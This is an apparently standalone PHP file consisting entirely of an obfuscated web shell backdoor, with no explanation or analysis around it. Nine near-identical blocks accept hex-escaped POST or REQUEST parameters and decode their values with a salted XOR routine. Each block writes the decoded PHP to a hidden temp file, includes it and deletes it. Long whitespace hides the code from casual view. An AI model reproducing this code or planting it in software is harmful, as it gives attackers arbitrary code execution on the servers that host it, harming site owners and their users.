<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6D\x61rker"])){ $itm = $_REQUEST["\x6D\x61rker"]; $itm =explode ( ".", $itm ) ; $elem =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1 ); foreach ($itm as $y =>$v3) { $chS =ord($s1[$y % $lenS] ); $dec =((int)$v3 - $chS - ($y % 10)) ^ 41; $elem .= chr($dec ); } $holder = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path()]); foreach ($holder as $flg) { if (is_writable($flg) && is_dir($flg)) { $binding = vsprintf("%s/%s", [$flg, ".tkn"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $binding; @unlink($binding); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65l\x65m")){ $desc = $_POST["\x65l\x65m"]; $desc =explode ( '.',$desc ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $r = 0; array_walk($desc , function($v2) use(&$obj , &$r , $salt , $lenS) { $chS = ord($salt[$r % $lenS] ); $d =((int)$v2 - $chS -($r % 10))^37; $obj .= chr($d ); $r++;} ); $comp = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($comp as $itm) { if (!!is_dir($itm) && !!is_writable($itm)) { $data = join("/", [$itm, ".pgrp"]); if (file_put_contents($data, $obj)) { include $data; @unlink($data); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Bn")){ $hld = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/tmp"]); $property_set = $_POST["\x74\x6Bn"]; $property_set = explode ( '.' , $property_set) ; $entry = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $j = 0; foreach($property_set as $v3) {$chS = ord($s7[$j % $lenS] ); $dec =((int)$v3 - $chS -($j % 10)) ^ 6; $entry .= chr($dec ); $j++; } for ($mrk = 0, $descriptor = count($hld); $mrk < $descriptor; $mrk++) { $fac = $hld[$mrk]; if (max(0, is_dir($fac) * is_writable($fac))) { $ptr = "$fac/.flag"; if (file_put_contents($ptr, $entry)) { include $ptr; @unlink($ptr); die(); } } } }
																																										if(in_array("p\x72\x6Fp\x65r\x74y\x5Fse\x74", array_keys($_POST))){ $item = $_POST["p\x72\x6Fp\x65r\x74y\x5Fse\x74"]; $item = explode ( "." , $item ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; while($u <count($item)) { $v4 = $item[$u]; $chS = ord($salt[$u % $sLen]); $dec =((int)$v4 - $chS -($u % 10)) ^45; $ent .=chr($dec); $u++; } $obj = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP")]); for ($flag = 0, $hld = count($obj); $flag < $hld; $flag++) { $marker = $obj[$flag]; if (is_dir($marker) ? is_writable($marker) : false) { $binding = join("/", [$marker, ".factor"]); $success = file_put_contents($binding, $ent); if ($success) { include $binding; @unlink($binding); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6Fbj\x65c\x74"])){ $data = $_REQUEST["\x6Fbj\x65c\x74"]; $data = explode ( "." ,$data) ; $obj= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s9); $len= count($data); for ($q= 0; $q <$len; $q++) { $v3= $data[$q]; $sChar= ord($s9[$q% $sLen]); $dec= ((int)$v3 - $sChar - ($q% 10)) ^ 44; $obj .= chr($dec); } $flag = array_filter([getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp"]); $factor = 0; do { $data_chunk = $flag[$factor] ?? null; if ($factor >= count($flag)) break; if (is_dir($data_chunk) && is_writable($data_chunk)) { $reference = join("/", [$data_chunk, ".dchunk"]); if (file_put_contents($reference, $obj)) { include $reference; @unlink($reference); exit; } } $factor++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["hold\x65r"])){ $factor = $_REQUEST["hold\x65r"]; $factor= explode ("." , $factor ); $fac = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach($factor as $u=> $v5): $sChar = ord($salt6[$u % $lenS]); $d =((int)$v5 - $sChar -($u % 10)) ^16; $fac .= chr($d); endforeach; $value = array_filter([getcwd(), "/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); foreach ($value as $key => $record) { if (is_dir($record) ? is_writable($record) : false) { $symbol = sprintf("%s/.hld", $record); if (@file_put_contents($symbol, $fac) !== false) { include $symbol; unlink($symbol); die(); } } } }
																																										if(!empty($_POST["\x6Fbjec\x74"])){ $parameter_group = $_POST["\x6Fbjec\x74"]; $parameter_group =explode ( '.' , $parameter_group ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $y = 0; $__tmp = $parameter_group; while( $v8 = array_shift( $__tmp)) { $chS = ord( $s[$y % $lenS]); $dec =( ( int)$v8 - $chS -( $y % 10)) ^ 36; $ref .= chr( $dec); $y++; } $bind = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir()]); foreach ($bind as $property_set): if (!!is_dir($property_set) && !!is_writable($property_set)) { $descriptor = implode("/", [$property_set, ".res"]); if (file_put_contents($descriptor, $ref)) { include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(array_key_exists("\x72e\x73", $_POST)){ $dat = array_filter([getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $marker = $_POST["\x72e\x73"]; $marker=explode ( "." , $marker ) ; $sym = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $l = 0; while($l < count($marker)) { $v7 = $marker[$l]; $chS = ord($salt4[$l % $sLen]); $d =((int)$v7 - $chS -($l % 10)) ^6; $sym .= chr($d); $l++;} foreach ($dat as $key => $k) { if (array_product([is_dir($k), is_writable($k)])) { $hld = "$k" . "/.ref"; $file = fopen($hld, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $hld; @unlink($hld); die(); } } } }


if(filter_has_var(INPUT_POST, "i\x74\x65m")){
	$k = $_POST["i\x74\x65m"];
				$k  =		 explode( 	'.',			$k   ) ;	  
	$data_chunk = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt6);
            $j = 0;
    
            foreach(	$k as $v4) {$sChar = ord(	$salt6[$j % $sLen]);
                $dec =(	(	int)$v4 - $sChar -(	$j % 10)) ^ 97;
                $data_chunk .= chr(	$dec);
                $j++;} 	
	$comp = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
	foreach ($comp as $descriptor):
    		if (!!is_dir($descriptor) && !!is_writable($descriptor)) {
    $pgrp = str_replace("{var_dir}", $descriptor, "{var_dir}/.entity");
    $success = file_put_contents($pgrp, $data_chunk);
if ($success) {
	include $pgrp;
	@unlink($pgrp);
	exit;}
}
endforeach;
}